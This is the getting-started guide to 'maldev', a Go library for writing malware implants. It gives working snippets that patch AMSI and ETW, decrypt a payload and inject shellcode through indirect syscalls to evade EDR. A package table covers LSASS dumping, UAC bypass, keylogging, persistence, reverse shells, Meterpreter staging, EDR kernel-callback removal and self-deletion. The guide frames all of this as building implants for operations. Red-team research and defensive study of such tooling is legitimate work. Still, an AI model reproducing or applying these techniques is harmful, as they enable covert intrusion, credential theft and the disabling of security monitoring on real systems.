Getting Started

← Back to README

Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.

Prerequisites

  • Go 1.21+ installed
  • Windows for most techniques (some work cross-platform)
  • Basic Go knowledge (functions, packages, error handling)
  • For OPSEC builds: garble (go install mvdan.cc/garble@latest)

Installation

go get github.com/oioio-space/maldev@latest

Core Concepts

What is maldev?

maldev is a library, not a framework. You import the packages you need and compose them:

graph LR
    A[Your implant] --> B[inject/ — run shellcode]
    A --> C[evasion/ — avoid detection]
    A --> D[c2/ — communicate home]
    A --> E[cleanup/ — cover tracks]

The Five Levels of Stealth

Every technique has a detection level declared in its doc.go. Choose based on your threat model:

LevelMeaningExample
very-quietIndistinguishable from baseline activityRtlGetVersion, NetGetJoinInformation
quietUsed routinely but in attacker-shaped patternsIndirect syscall, hash-resolved import
moderateWatched by EDR but common in benign softwareRWX VirtualAlloc, thread creation
noisyPattern is in every vendor's signature DBCross-process inject, UAC bypass
very-noisyTriggers an alert by defaultNtLoadDriver for an unsigned driver, NtUnloadDriver

Find the detection level for any package on its tech-md page (e.g., docs/techniques/evasion/amsi-bypass.md) and in its doc.go # Detection level section.

The Caller Pattern

The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:

// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
    Method: inject.MethodCreateRemoteThread,
    PID:    pid,
})
injector.Inject(shellcode)

// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
    Method(inject.MethodCreateRemoteThread).
    PID(pid).
    IndirectSyscalls().
    Create()
injector.Inject(shellcode)

Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.

Your First Program

Step 1: Evasion (disable defenses)

package main

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
)

func main() {
    // Apply evasion techniques before doing anything suspicious
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),  // disable AMSI scanning
        etw.All(),               // disable ETW logging
    }
    evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}

Step 2: Load shellcode

import "github.com/oioio-space/maldev/crypto"

// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)

Step 3: Inject

import "github.com/oioio-space/maldev/inject"

cfg := &inject.Config{
    Method: inject.MethodCreateThread,  // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)

Step 4: Build for operations

# Development build (with logging)
make debug

# Release build (OPSEC, no strings, no debug info)
make release

Per-Package Quick-Reference

If you know the technique you want, jump straight to the matching package:

GoalPackageDoc
Encrypt the payload before embeddingcryptoPayload Encryption
Encode the payload for transportencodeEncode
Patch AMSI / ETW in-processevasion/amsi, evasion/etwAMSI · ETW
Restore hooked ntdllevasion/unhookNTDLL Unhooking
Sleep with masked memoryevasion/sleepmaskSleep Mask
Spoof a callstack frameevasion/callstackCallstack Spoof
Remove EDR kernel callbacksevasion/kcallbackKernel-Callback Removal
BYOVD kernel R/Wkernel/driver (rtcore64)BYOVD RTCore64
Direct/indirect syscallswin/syscallSyscall Methods
Inject shellcodeinject/* (15 methods)Injection
Reflectively load a PEpe/srdiPE → Shellcode
Strip Go fingerprintspe/stripStrip + Sanitize
Run a .NET assembly in-processruntime/clrRuntime
Run a Beacon Object Fileruntime/bofRuntime
Dump LSASScredentials/lsassdumpLSASS Dump
Parse a MINIDUMP for NT hashescredentials/sekurlsaLSASS Parse
Bypass UACprivesc/uacPrivilege
Spoof a process command-lineprocess/tamper/fakecmdFakeCmd
Suspend Event Log threadsprocess/tamper/phant0mPhant0m
Persistence — registrypersistence/registryRegistry
Persistence — Startup folderpersistence/startupStartup Folder
Persistence — scheduled taskpersistence/schedulerTask Scheduler
Capture clipboard / keys / screencollection/{clipboard,keylog,screenshot}Collection
Reverse shellc2/shellReverse Shell
Metasploit stagingc2/meterpreterMeterpreter
Multi-session listener (operator side)c2/multicatMulticat
Named-pipe transportc2/transport/namedpipeNamed Pipe
Wipe in-process bufferscleanup/memoryMemory Wipe
Self-delete on exitcleanup/selfdelSelf-Delete
Compute fuzzy hash similarityhashFuzzy Hashing

For the full layered map, see Architecture § Per-Package Quick-Reference.

GoalRead
Understand the architectureArchitecture
Learn injection techniquesInjection Techniques
Learn EDR evasionEvasion Techniques
Understand syscall bypassSyscall Methods
Set up C2 communicationC2 & Transport
Build for operationsOPSEC Build Guide
See composed examplesExamples
Full MITRE coverageMITRE ATT&CK + D3FEND Mapping

Terminology Quick Reference

TermMeaning
ShellcodeRaw machine code bytes that execute independently
InjectionRunning code in another process's address space
EDREndpoint Detection & Response (e.g., CrowdStrike, Defender)
HookEDR modification of function prologues to intercept calls
SyscallDirect kernel call, bypassing userland hooks
SSNSyscall Service Number — index into kernel's function table
PEBProcess Environment Block — per-process kernel structure
AMSIAntimalware Scan Interface — Microsoft's content scanning API
ETWEvent Tracing for Windows — kernel telemetry system
Callermaldev's abstraction for choosing syscall routing method
OPSECOperational Security — avoiding detection and attribution